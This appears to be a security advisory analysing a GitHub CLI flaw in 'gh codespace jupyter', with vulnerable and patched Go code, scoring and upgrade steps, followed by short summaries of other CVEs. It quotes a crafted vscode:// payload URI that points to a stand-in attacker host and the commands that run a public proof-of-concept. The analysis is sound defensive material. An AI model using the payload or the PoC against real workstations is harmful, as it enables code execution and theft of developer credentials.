Nov 25, 2026·9 min read·8 visits
GitHub CLI versions 2.10.0 to 2.95.0 fail to validate the URL returned by a remote Codespace when running `gh codespace jupyter`. By returning a crafted `vscode://` or `vscode-insiders://` URI instead of a local HTTP loopback address, a malicious Codespace can trigger protocol handlers on the client machine, resulting in remote code execution. Users must upgrade to GitHub CLI version 2.96.0 or later.
GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain an input validation vulnerability in the `gh codespace jupyter` command path. When connecting to a remote Codespace to launch a JupyterLab session, the CLI retrieves a server URL via a remote procedure call (RPC) and passes it directly to the host operating system's default URL dispatcher without validating the scheme or target host. A compromised or malicious Codespace can return a custom protocol URI, such as `vscode://` or `vscode-insiders://`, allowing an attacker to invoke local desktop application handlers and achieve arbitrary command execution on the developer's workstation.
GitHub CLI (gh) provides a command-line interface for interacting with GitHub repositories, workflows, and cloud development environments known as GitHub Codespaces. One feature of the Codespaces integration is the gh codespace jupyter subcommand, which allows developers to initiate a JupyterLab server inside a remote container and automatically open the web interface on their local workstation.
To bridge the remote container and the local browser, gh establishes a remote procedure call (RPC) session with an agent running inside the Codespace. The CLI instructs the remote agent to start the JupyterLab server, sets up local port forwarding, and receives a target URL from the agent indicating where the client should connect. Once received, gh passes this URL string to the local operating system's application launcher to open the user's default browser.
In versions 2.10.0 through 2.95.0, the RPC invoker fails to validate the URL returned by the remote Codespace agent. Specifically, the software does not verify that the returned string uses an http or https scheme, nor does it confirm that the destination hostname points to a local loopback interface. This flaw is classified under CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) and CWE-20 (Improper Input Validation).
Because the remote Codespace container operates outside the trust boundary of the local host machine, trusting arbitrary URI strings from the container exposes the workstation's registered custom protocol handlers. An attacker controlling the environment inside the Codespace can return an application-specific URI scheme—such as vscode:// or vscode-insiders://—to interact directly with local desktop software, crossing the security boundary from the isolated cloud container to the developer's host machine.
The root cause of CVE-2026-59831 resides in the StartJupyterServer method within internal/codespaces/rpc/invoker.go. When a user runs gh codespace jupyter, the CLI invokes this method to send a gRPC request (StartJupyterServer) to the remote Codespace daemon. The daemon responds with a protobuf message containing two fields: Port and ServerUrl.
Upon receiving the RPC response, the StartJupyterServer method parses the port number to establish the SSH port-forwarding tunnel. However, it returns response.ServerUrl directly to the caller without performing structural parsing, scheme filtering, or host verification. The calling command handler in the CLI then passes this unvalidated string straight to the system URL opener (via the browser.OpenURL utility).
On modern desktop operating systems (Windows, macOS, and Linux via xdg-open), the system URL opener does not restrict inputs solely to web addresses. Instead, it acts as a generic URI dispatcher that inspects the scheme prefix and routes the payload to whichever local application is registered to handle that protocol. If a URI begins with http:// or https://, it opens the default web browser; if it begins with a custom scheme like vscode://, the operating system invokes Microsoft Visual Studio Code and passes the full URI as a command-line argument.
> [!NOTE]
> A similar trust boundary violation in GitHub CLI's Codespaces handling was previously addressed in CVE-2024-52308, which remediated unvalidated parameters in SSH and log execution paths. However, the StartJupyterServer execution path in internal/codespaces/rpc/invoker.go remained unguarded until the discovery of CVE-2026-59831.
The vulnerability was introduced in commit 06153770a921a2df2b9dba6735f6ae7f7f6a1160 when JupyterLab support was added to the Codespaces RPC package, and it was patched in commit b300f2ec7ec9dc9addc39b2ad88c54097ded7ca0 for the release of version 2.96.0. Before the fix, StartJupyterServer in internal/codespaces/rpc/invoker.go simply returned the raw string from the gRPC response payload.
// Vulnerable implementation in internal/codespaces/rpc/invoker.go
func (i *invoker) StartJupyterServer(ctx context.Context) (port int, serverUrl string, err error) {
// ... RPC setup and invocation ...
port, err = strconv.Atoi(response.Port)
if err != nil {
return 0, "", fmt.Errorf("failed to parse JupyterLab port: %w", err)
}
// VULNERABLE: response.ServerUrl is returned directly without validation
return port, response.ServerUrl, err
}In commit b300f2ec7ec9dc9addc39b2ad88c54097ded7ca0, the maintainers introduced a dedicated validation helper function, isJupyterServerURLValid, and enforced a check before returning the URL to the caller.
// Patched implementation in internal/codespaces/rpc/invoker.go
func (i *invoker) StartJupyterServer(ctx context.Context) (port int, serverUrl string, err error) {
// ... RPC setup and invocation ...
port, err = strconv.Atoi(response.Port)
if err != nil {
return 0, "", fmt.Errorf("failed to parse JupyterLab port: %w", err)
}
// FIX: Validate that the URL is a strict HTTP(S) loopback address
if !isJupyterServerURLValid(response.ServerUrl) {
return 0, "", fmt.Errorf("invalid JupyterLab server URL: %q", response.ServerUrl)
}
return port, response.ServerUrl, nil
}
// Ensures that the Jupyter server URL is valid and points to a loopback http(s) URL
func isJupyterServerURLValid(serverURL string) bool {
u, err := url.Parse(serverURL)
if err != nil {
return false
}
// 1. Enforce HTTP or HTTPS scheme strictly
if u.Scheme != "http" && u.Scheme != "https" {
return false
}
// 2. Extract hostname without port or userinfo components
host := u.Hostname()
if strings.ToLower(host) == "localhost" {
return true
}
// 3. Verify IP is a valid IPv4 or IPv6 loopback address
ip := net.ParseIP(host)
return ip != nil && ip.IsLoopback()
}The validation logic in isJupyterServerURLValid addresses the vulnerability across three dimensions. First, by checking u.Scheme != "http" && u.Scheme != "https", it blocks custom application schemes (vscode://, vscode-insiders://, file://). Second, by calling u.Hostname(), it safely strips port numbers and prevents authority section confusion attacks (such as http://localhost@attacker.com), as net/url isolates the actual target host from the Userinfo prefix.
Third, the host verification requires the destination to either match the literal string "localhost" (case-insensitively) or parse via net.ParseIP as a valid loopback IP address (127.0.0.0/8 for IPv4 or ::1 for IPv6). This ensures the client browser only connects to the locally forwarded SSH tunnel endpoint rather than an arbitrary external web server. The fix is complete for this code path and includes unit tests in internal/codespaces/rpc/invoker_test.go covering IPv4, IPv6, localhost, non-loopback domains, file://, and vscode:// URIs.
Exploiting CVE-2026-59831 requires an attacker to control or compromise the environment inside a GitHub Codespace to which a victim subsequently connects using gh codespace jupyter. This scenario typically occurs when a developer launches a Codespace from an untrusted repository containing malicious .devcontainer initialization scripts, or when a shared collaborative Codespace is compromised.
Inside the Codespace container, the attacker modifies or replaces the RPC agent listening for incoming CLI requests. When the victim runs gh codespace jupyter on their workstation, the CLI connects to the container and invokes StartJupyterServer. Instead of starting a genuine JupyterLab instance and returning http://127.0.0.1:<port>/lab?token=..., the malicious agent responds with a valid port integer and a crafted ServerUrl targeting a local URI handler:
vscode://vscode.git/clone?url=https://attacker.example/malicious-repo.gitAlternatively, the attacker can target installed Visual Studio Code extensions that register URI handlers with fewer user interaction barriers, such as vscode-insiders://ms-vsliveshare.vsliveshare/join?foo=bar or custom extension endpoints. When the vulnerable gh client receives this payload, it passes the URI to the host OS launcher, which immediately triggers Visual Studio Code on the host workstation.
A public proof-of-concept and test harness repository (https://github.com/googlesky/CVE-2026-59831) demonstrates this behavior using containerized test environments (jup-vuln running an unpatched build and jup-fixed running the patched implementation). The test harness simulates the RPC response returning a vscode:// URI and verifies whether the client accepts and dispatches the unvalidated scheme:
# Build and start the containerized testing environment
./run-lab.sh build
./run-lab.sh up
# Execute verification check against the vulnerable container
python3 exploit/exploit.py --host=jup-vulnWhile gh dispatches the URI without prompting the user, achieving full command execution on the workstation often depends on how the target protocol handler processes the request. For instance, invoking vscode://vscode.git/clone or opening a remote workspace generally triggers a dialog prompt within VS Code asking the user to confirm cloning or trusting the workspace, which aligns with the High Attack Complexity (AC:H) and Required User Interaction (UI:R) metrics in the CVSS vector.
The primary impact of CVE-2026-59831 is a sandbox escape across the security boundary separating a remote GitHub Codespace container from the developer's local workstation. While a Codespace is designed to isolate untrusted repository code within a cloud-hosted virtual machine, this vulnerability allows code running inside that container to invoke registered URI protocol handlers on the client host.
The vulnerability is assigned a CVSS v3.1 base score of 4.4 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N. The Scope is rated as Changed (S:C) because the vulnerable component is the remote RPC interaction within the CLI, while the impacted component is the local host operating system and desktop applications. Attack Complexity is High (AC:H) and User Interaction is Required (UI:R) because the victim must explicitly initiate the gh codespace jupyter command against a malicious Codespace and potentially interact with secondary application prompts.
If an attacker chains the URI dispatch with a vulnerable local protocol handler or convinces the user to accept a workspace action in VS Code, the attacker can achieve arbitrary code execution under the context of the local user account. This grants access to local SSH keys, cloud provider credentials, environment variables, and private source code stored on the developer's machine.
According to FIRST Exploit Prediction Scoring System (EPSS) telemetry, CVE-2026-59831 holds an EPSS score of 0.00326 (0.33%, ~26th percentile), reflecting a low probability of mass automated exploitation. Because exploitation requires targeted social engineering to make a developer connect to a specific Codespace via a specific CLI subcommand, it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
GitHub patched CVE-2026-59831 in GitHub CLI version 2.96.0. All users and organizations utilizing gh versions between 2.10.0 and 2.95.0 should upgrade to 2.96.0 or later to ensure StartJupyterServer enforces strict loopback and scheme validation.
Administrators and developers can upgrade the GitHub CLI across major operating systems using standard package managers:
# macOS / Linux via Homebrew
brew upgrade gh
# Debian / Ubuntu via APT
sudo apt-get update && sudo apt-get install --only-upgrade gh
# Windows via Winget
winget upgrade GitHub.cliAfter upgrading, verify that the installed binary is at least version 2.96.0 by running gh --version. In environments where immediate binary upgrades are blocked by change management policies, developers must refrain from running gh codespace jupyter against untrusted, third-party, or public repositories.
As a defense-in-depth measure, security teams should audit custom URI scheme registrations (vscode://, vscode-insiders://, jetbrains://) on developer workstations. Ensure that integrated development environments (IDEs) are updated to their latest versions so that Workspace Trust protections and URI handler confirmation prompts cannot be bypassed silently.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
GitHub CLI (cli/cli) GitHub | >= 2.10.0, < 2.96.0 | 2.96.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Unvalidated URL Scheme / Protocol Handler Injection (CWE-829, CWE-20) |
| Affected Component | GitHub CLI (`internal/codespaces/rpc/invoker.go::StartJupyterServer`) |
| Affected Versions | >= 2.10.0, < 2.96.0 |
| Patched Version | 2.96.0 |
| CVSS v3.1 Score | 4.4 Medium (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| EPSS Score | 0.33% (25.99th percentile) |
| Exploit Status | Public PoC Available |
| CISA KEV Status | Not Listed |
The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.
In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.
A path traversal vulnerability exists in the cakephp/twig-view plugin for the CakePHP framework prior to versions 1.3.3 and 2.1.2. The Cake\TwigView\Twig\FileLoader::findTemplate() method verifies template existence using PHP's native file_exists() function without ensuring the target path resides within configured application or plugin template directories. When user-controlled input is passed to template inclusion mechanisms, an unauthenticated remote attacker can read arbitrary local files accessible to the PHP runtime.
CVE-2026-64855 (GHSA-859w-52fx-hcm6) is a cryptographic signature verification and authentication bypass vulnerability in the soapbar Python library prior to version 0.13.0. In vulnerable versions, the verify_envelope_bsp() function derives its trust anchor directly from the incoming SOAP message by extracting an untrusted X.509 certificate embedded inside the wsse:BinarySecurityToken header. Because the function checks only the temporal validity of the extracted certificate without performing Certificate Authority (CA) chain validation or certificate pinning, an unauthenticated network attacker can generate a self-signed certificate, sign an arbitrary SOAP payload, and pass verification.
A denial-of-service vulnerability exists in the Go library github.com/insomniacslk/dhcp within the dhcpv4/nclient4 subpackage. In affected versions, the raw packet parsing function BroadcastRawUDPConn.ReadFrom subtracts the fixed 8-byte UDP header length from the IPv4 payload length declared in the packet header without first verifying that the declared payload length is at least 8 bytes. An unauthenticated attacker on an adjacent local network segment can broadcast or unicast a malformed IPv4 packet with a declared payload length between 0 and 7 bytes, causing a signed integer underflow that passes a negative slice bound into buf.Consume and triggers an unhandled Go runtime panic.
CVE-2026-63305 (GHSA-g9x9-q7qj-6mv5) is an operating system command injection vulnerability affecting WWBN AVideo (formerly YouPHPTube) versions up to and including 29.0. The defect resides in the standalone FFmpeg execution handler at plugin/API/standAlone/ffmpeg.json.php. When assembling asynchronous post-processing commands, the script concatenates the notifyCode and callback properties from a decrypted payload directly into a shell command string without sanitization. An attacker capable of providing or forging a valid encrypted execution payload can inject shell metacharacters to achieve remote code execution under the privileges of the web server user.